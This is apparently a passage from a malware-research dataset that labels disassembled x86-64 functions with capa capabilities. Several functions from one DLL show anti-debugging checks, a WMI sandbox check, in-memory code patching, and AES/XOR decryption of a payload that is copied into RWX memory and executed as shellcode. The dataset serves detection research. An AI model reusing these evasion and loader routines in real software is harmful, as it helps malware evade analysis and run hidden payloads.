joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46ba40
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push rbp
mov rbp, rsp
pushfq
cld
sub rsp, 0xe0
mov qword [rsp], rdi
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x50], xmm7
movups xmmword [rsp + 0x60], xmm8
movups xmmword [rsp + 0x70], xmm9
movups xmmword [rsp + 0x80], xmm10
movups xmmword [rsp + 0x90], xmm11
movups xmmword [rsp + 0xa0], xmm12
movups xmmword [rsp + 0xb0], xmm13
movups xmmword [rsp + 0xc0], xmm14
movups xmmword [rsp + 0xd0], xmm15
xorps xmm15, xmm15
xor r14, r14
mov rax, qword [0x0077f010]
mov rax, qword gs:[rax]
cmp rax, 0
je 0x46badb
mov r14, qword [rax]
sub rsp, 0x10
mov rax, rcx
mov rbx, rdx
call sym.runtime.sigtrampgo
add rsp, 0x10
mov rdi, qword [rsp]
mov rsi, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov r12, qword [rsp + 0x20]
mov r13, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
movups xmm6, xmmword [rsp + 0x40]
movups xmm7, xmmword [rsp + 0x50]
movups xmm8, xmmword [rsp + 0x60]
movups xmm9, xmmword [rsp + 0x70]
movups xmm10, xmmword [rsp + 0x80]
movups xmm11, xmmword [rsp + 0x90]
movups xmm12, xmmword [rsp + 0xa0]
movups xmm13, xmmword [rsp + 0xb0]
movups xmm14, xmmword [rsp + 0xc0]
movups xmm15, xmmword [rsp + 0xd0]
add rsp, 0xe0
popfq
pop rbp
ret

Function at 0x46bd00
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x28
pushfq
cld
sub rsp, 0xe0
mov qword [rsp], rdi
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r15
movups xmmword [rsp + 0x40], xmm6
movups xmmword [rsp + 0x50], xmm7
movups xmmword [rsp + 0x60], xmm8
movups xmmword [rsp + 0x70], xmm9
movups xmmword [rsp + 0x80], xmm10
movups xmmword [rsp + 0x90], xmm11
movups xmmword [rsp + 0xa0], xmm12
movups xmmword [rsp + 0xb0], xmm13
movups xmmword [rsp + 0xc0], xmm14
movups xmmword [rsp + 0xd0], xmm15
mov rax, qword [0x0077f010]
mov rax, qword gs:[rax]
cmp rax, 0
jne 0x46bd97
int 3
mov r14, qword [rax]
sub rsp, 0x28
mov qword [rsp], rcx
mov qword [rsp + 8], rdx
mov qword [rsp + 0x10], r8
mov qword [rsp + 0x18], r9
call sym.runtime.sehhandler.abi0
mov eax, dword [rsp + 0x20]
add rsp, 0x28
mov rdi, qword [rsp]
mov rsi, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
mov r12, qword [rsp + 0x20]
mov r13, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x38]
movups xmm6, xmmword [rsp + 0x40]
movups xmm7, xmmword [rsp + 0x50]
movups xmm8, xmmword [rsp + 0x60]
movups xmm9, xmmword [rsp + 0x70]
movups xmm10, xmmword [rsp + 0x80]
movups xmm11, xmmword [rsp + 0x90]
movups xmm12, xmmword [rsp + 0xa0]
movups xmm13, xmmword [rsp + 0xb0]
movups xmm14, xmmword [rsp + 0xc0]
movups xmm15, xmmword [rsp + 0xd0]
add rsp, 0xe0
popfq
add rsp, 0x28
pop rbp
ret
Function at 0x46c160
Capabilities:
Allocate thread local storage

Disassembly:
push rbp
mov rbp, rsp
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x46c194
mov rcx, 0x28
jmp 0x46c19f
shl rcx, 3
add rcx, 0x1480
mov qword [0x0077f010], rcx
pop rbp
ret
Function at 0x47ea20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x47eaea
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x0077f010]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0xffffffffffffffff
jne 0x47eacf
mov rcx, qword [rsp + 0x60]
lea rdx, [rcx + 1]
mov qword [rsp + 0x40], rdx
lea rax, [0x004feaa0]
xor ebx, ebx
mov rcx, rdx
call sym.runtime.makeslice
mov rbx, qword [rsp + 0x60]
mov rcx, rax
xor edi, edi
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x58]
nop dword [rax]
call sym.syscall.encodeWTF16
inc rbx
cmp rcx, rbx
jae 0x47eabe
mov edi, 1
lea rsi, [0x004feaa0]
call sym.runtime.growslice
mov word [rax + rbx*2 - 2], 0
xor edi, edi
xor esi, esi
add rsp, 0x48
pop rbp
ret
xor eax, eax
xor ebx, ebx
mov rcx, rbx
lea rdi, [0x00566558]
lea rsi, [0x00565980]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.syscall.UTF16FromString
Function at 0x4b9a40
Capabilities:
Hash data using fnv

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4ba17f
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x20], rax
movabs rcx, 0xcbf29ce484222325
jmp 0x4b9a6d
lea rax, [rdx + 0x10]
dec rbx
mov rcx, rsi
test rbx, rbx
jle 0x4b9cf1
mov rdx, rax
mov rsi, qword [rax]
nop dword [rax]
test rsi, rsi
je 0x4b9d1d
mov edi, dword [rsi + 0x10]
shr edi, 1
mov r8, qword [rax + 8]
and edi, 0x3f
lea rax, [0x00568440]
jmp qword [rax + rdi*8]
mov rax, rcx
add rsp, 0x10
pop rbp
ret
lea rax, [0x004fe9a0]
lea rbx, [0x00566270]
call sym.runtime.gopanic
inc rax
cmp rax, r8
jge 0x4b9d42
mov r9, qword [rsi + rax*8]
xor r10d, r10d
nop
jmp 0x4b9d77
lea rdi, [0x004fea20]
mov rsi, rcx
movabs rcx, 0x100000001b3
jmp 0x4b9a63
movzx r11d, r9b
xor rcx, r11
inc r10
shr r9, 8
movabs r11, 0x100000001b3
imul rcx, r11
cmp r10, 8
jl 0x4b9d5b
jmp 0x4b9d30
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp sym.internal_bisect.Hash

Function at 0x4ba320
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x4ba337
inc rax
cmp rax, 4
jge 0x4ba34f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x4ba334
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x4ba360
inc rax
cmp rax, 4
jge 0x4ba36e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x4ba397
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x4ba37b
jmp 0x4ba35d
Function at 0x4c6520
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4c666e
push rbp
mov rbp, rsp
sub rsp, 0x68
movups xmmword [rsp + 0x40], xmm15
mov qword [rsp + 0x30], 0
mov rax, qword [0x006cd5b0]
call sym.internal_godebug._Setting_.Value
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rbx
movups xmmword [rsp + 0x50], xmm15
mov qword [rsp + 0x60], 0
lea rcx, [sym.net.goDebugNetDNS.func1]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x2b
call sym.internal_bytealg.IndexByteString.abi0
xorps xmm15, xmm15
mov r14, qword [0x0077f010]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rcx, qword [rsp + 0x18]
cmp rcx, 0xffffffffffffffff
je 0x4c6632
mov rdx, qword [rsp + 0x28]
nop dword [rax + rax]
cmp rdx, rcx
jb 0x4c6668
mov qword [rsp + 0x20], rcx
mov rsi, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, rcx
lea rdx, [rsp + 0x50]
call rsi
mov rax, qword [rsp + 0x20]
lea rcx, [rax + 1]
mov rbx, qword [rsp + 0x28]
cmp rbx, rcx
jb 0x4c665d
mov rsi, qword [rsp + 0x50]
sub rbx, rax
dec rbx
mov rdi, rbx
neg rdi
sar rdi, 0x3f
and rcx, rdi
mov rdi, qword [rsp + 0x38]
lea rax, [rdi + rcx]
lea rdx, [rsp + 0x50]
call rsi
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x68
pop rbp
ret
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x28]
lea rdx, [rsp + 0x50]
call rcx
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x68
pop rbp
ret
mov rax, rcx
mov rcx, rbx
call sym.runtime.panicSliceB
call sym.runtime.panicSliceAlen
nop
call sym.runtime.morestack_noctxt.abi0
jmp sym.net.goDebugNetDNS
Function at 0x180001070
Capabilities:
Check for outputdebugstring error
Check for peb beingdebugged flag
Patch process command line
Print debug messages

Disassembly:
sub rsp, 0x88
mov rax, qword [0x180062018]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x18000119d
test byte [rax + 0xbc], 0x70
jne 0x18000119d
mov ecx, 0x457
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rcx, [0x180056a44]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x457
jne 0x18000119d
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x80], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, str.ntdll.dll
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x1800010fd
xor edi, edi
jmp 0x180001110
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 0x30
lea r8, [rsp + 0x30]
mov rbx, rax
xor edx, edx
lea rax, [rsp + 0x68]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call rdi
mov rdx, qword [rsp + 0x38]
lea rax, [rsp + 0x70]
add rdx, 0x50
mov qword [rsp + 0x60], 0xffffffffffffffff
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test byte [rsp + 0x60], 4
mov rdi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x90]
jne 0x18000119d
xor al, al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180002970
add rsp, 0x88
ret
mov al, 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180002970
add rsp, 0x88
ret
Function at 0x180001a80
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x180062018]
xor rax, rsp
mov qword [rbp + 0x40], rax
mov rbx, rdx
mov dword [rsp + 0x30], 0x33323130
mov r14, rcx
mov dword [rsp + 0x34], 0x37363534
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x38], 0x62613938
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x3c], 0x66656463
mov dword [rsp + 0x40], 0x33356566
mov dword [rsp + 0x44], 0x37363534
mov dword [rsp + 0x48], 0x62613938
mov dword [rsp + 0x4c], 0x66656463
mov dword [rsp + 0x20], 0x34333231
mov dword [rsp + 0x24], 0x38373635
mov dword [rsp + 0x28], 0x32313039
mov dword [rsp + 0x2c], 0x36353433
call fcn.180001480
test rbx, rbx
je 0x180001d1d
mov qword [rsp + 0x198], rsi
lea rsi, [r14 + 9]
mov qword [rsp + 0x1a0], rdi
neg r14
mov qword [rsp + 0x1a8], r12
mov qword [rsp + 0x168], r13
lea r13, [0x180056900]
mov qword [rsp + 0x160], r15
lea r15, [rbx - 1]
shr r15, 4
inc r15
movaps xmmword [rsp + 0x150], xmm6
mov r12, r15
shl r12, 4
nop dword [rax]
movups xmm6, xmmword [rsi - 9]
lea rbx, [rsi - 9]
mov r9d, 4
lea r8, [rbp + 0x30]
mov rcx, rbx
add r8, r14
nop dword [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx eax, byte [rcx + r8]
xor byte [rcx], al
inc rcx
sub rdx, 1
jne 0x180001ba0
sub r9, 1
jne 0x180001b90
mov dil, 0xd
nop dword [rax]
movzx eax, byte [rsi]
mov r8, rbx
movzx ecx, byte [rsi + 4]
mov r9d, 4
mov byte [rsi + 4], al
movzx eax, byte [rsi - 4]
mov byte [rsi], al
movzx eax, byte [rsi - 8]
mov byte [rsi - 4], al
movzx eax, byte [rsi + 1]
mov byte [rsi - 8], cl
movzx ecx, byte [rsi - 7]
mov byte [rsi - 7], al
movzx eax, byte [rsi + 5]
mov byte [rsi + 1], cl
movzx ecx, byte [rsi - 3]
mov byte [rsi - 3], al
movzx eax, byte [rsi - 2]
mov byte [rsi + 5], cl
movzx ecx, byte [rsi - 6]
mov byte [rsi - 6], al
movzx eax, byte [rsi + 2]
mov byte [rsi - 2], al
movzx eax, byte [rsi + 6]
mov byte [rsi + 2], al
mov byte [rsi + 6], cl
nop dword [rax + rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + r13]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x180001c30
inc r8
sub r9, 1
jne 0x180001c20
movzx eax, dil
lea r8, [rsp + 0x50]
shl rax, 4
lea r9d, [rdx + 4]
sub rax, rbx
add r8, rax
mov rax, rbx
nop dword [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
xor byte [rax], cl
inc rax
sub rdx, 1
jne 0x180001c80
sub r9, 1
jne 0x180001c70
test dil, dil
je 0x180001cac
mov rcx, rbx
call fcn.1800011c0
add dil, 0xff
jmp 0x180001bc0
lea rdx, [rsp + 0x20]
mov ecx, 0x10
add rdx, r14
nop dword [rax]
movzx eax, byte [rdx + rbx]
xor byte [rbx], al
lea rbx, [rbx + 1]
sub rcx, 1
jne 0x180001cc0
add rsi, 0x10
movdqa xmmword [rsp + 0x20], xmm6
sub r14, 0x10
sub r15, 1
jne 0x180001b70
movaps xmm6, xmmword [rsp + 0x150]
mov rax, r12
mov r12, qword [rsp + 0x1a8]
mov r15, qword [rsp + 0x160]
mov r13, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x1a0]
mov rsi, qword [rsp + 0x198]
jmp 0x180001d1f
xor eax, eax
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.180002970
add rsp, 0x170
pop r14
pop rbx
pop rbp
ret
Function at 0x180001d40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x180062018]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor bpl, bpl
mov word [rsp + 0x20], 0xba49
mov word [rsp + 0x2a], 0xff41
mov rbx, r9
mov qword [rsp + 0x22], r8
mov rdi, rdx
mov dword [rsp + 0x30], 0
mov esi, 0xd
test cl, cl
je 0x180001de3
test rbx, rbx
je 0x180001dae
mov rcx, qword [r9 + 0x10]
test rcx, rcx
je 0x180001e97
mov eax, dword [r9 + 0x18]
test eax, eax
je 0x180001e97
mov r8d, eax
call fcn.180003970
lea r9, [rsp + 0x30]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180001e39
movsd xmm0, qword [rsp + 0x20]
mov bpl, 1
mov eax, dword [rsp + 0x28]
movsd qword [rdi], xmm0
mov dword [rdi + 8], eax
mov byte [rdi + 0xc], 0xe2
jmp 0x180001e39
test rbx, rbx
je 0x180001e97
cmp qword [r9], 0
je 0x180001e97
mov eax, dword [r9 + 8]
test eax, eax
je 0x180001e97
lea r9, [rsp + 0x30]
mov qword [rsp + 0x60], r14
mov r8d, 0x40
mov edx, eax
mov rcx, rdi
mov esi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180001e34
mov rdx, qword [rbx]
mov r8d, esi
mov rcx, rdi
call fcn.180003970
mov bpl, 1
mov r14, qword [rsp + 0x60]
cmp qword [0x180062b08], 0
jne 0x180001e67
lea rcx, [0x180056a60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtFlushInstructionCache
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180062b08], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call qword [0x180062b08]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov edx, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, bpl
jmp 0x180001e99
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.180002970
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret
Function at 0x180002170
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Reference wmi statements

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x58
call fcn.180001070
test al, al
jne 0x18000229c
lea rcx, str.SELECT__FROM_Win32_CacheMemory
call fcn.180001ec0
test eax, eax
je 0x18000229c
mov qword [rsp + 0x50], rbx
mov ecx, 0x90920
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rdi
call fcn.180004c64
mov r8d, 0x48490
lea rdx, [0x18000e370]
mov rcx, rax
mov rdi, rax
call fcn.180003970
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x20]
xor eax, eax
mov qword [0x180062ac8], rcx
mov qword [rsp + 0x20], rax
lea r8, [0x180001960]
mov qword [rsp + 0x28], rax
mov rdx, rcx
lea rax, [0x180062ad0]
mov dword [0x180062ac0], 1
mov cl, 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x10
call fcn.180001d40
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x48490
mov rcx, rdi
call fcn.180001a80
movsxd rsi, eax
mov r9d, 0x40
mov rdx, rsi
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x180002283
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.180003970
test rbx, rbx
setne cl
test cl, cl
je 0x180002283
call rbx
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [rsp + 0x40]
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
add rsp, 0x58
ret
mov ecx, 0xffffffff
call fcn.180004f04
int3

Function at 0x180004f04
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x180004ddb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x180004ddb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x180004ddb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x180004ddb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180004ddb
cmp dword [rcx + 0x84], 0xe
jbe 0x180004ddb
cmp dword [rcx + 0xf8], 0
je 0x180004ddb
mov ecx, ebx
call fcn.180004e7c
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.180004c6c
cmp dword [rbp + 0x20], 0
je 0x180004e28
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.180004e30
int3
xor r8d, r8d
xor edx, edx
jmp 0x180004d74
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x1400c61e0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400c61f0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.1400171b0
jmp 0x14000123c
mov rax, qword [0x1400c61f0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400c61f0]
mov dword [rax], 1
mov rax, qword [0x1400c6250]
mov rdx, rax
mov rax, qword [0x1400c6240]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x1400ed024], 1
mov rax, qword [0x1400c61f0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400c6230]
mov rdx, rax
mov rax, qword [0x1400c6220]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x1400c61f0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x1400c61e0]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [str._bM_f_]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [str._bM_f_]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.14000bd88
mov rax, qword [0x1400c6290]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x1400c61d0]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.14000b580
mov eax, dword [0x1400ed004]
lea rdx, [0x1400ed008]
mov ecx, eax
call fcn.14000147c
call fcn.14000b317
mov rax, qword [0x1400c6160]
mov rax, qword [rax]
mov rdx, qword [0x1400ed010]
mov qword [rax], rdx
mov rcx, qword [0x1400ed010]
mov rdx, qword [0x1400ed008]
mov eax, dword [0x1400ed004]
mov r8, rcx
mov ecx, eax
call fcn.1400bb030
mov dword [0x1400ed01c], eax
mov eax, dword [0x1400ed020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x1400ed01c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x1400ed024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x1400ed01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1400c6190]
mov dword [rax], 1
mov rax, qword [0x1400c61a0]
mov dword [rax], 1
mov rax, qword [0x1400c61b0]
mov dword [rax], 1
mov rax, qword [0x1400c6150]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x14000b590
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.140016f40
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x14000c262
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400ed168]
test eax, eax
je 0x14000c2fa
lea rax, [0x1400ed140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400ed170]
mov qword [rbp - 8], rax
jmp 0x14000c2de
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x14000c2d2
cmp qword [rbp - 0x10], 0
je 0x14000c2d2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
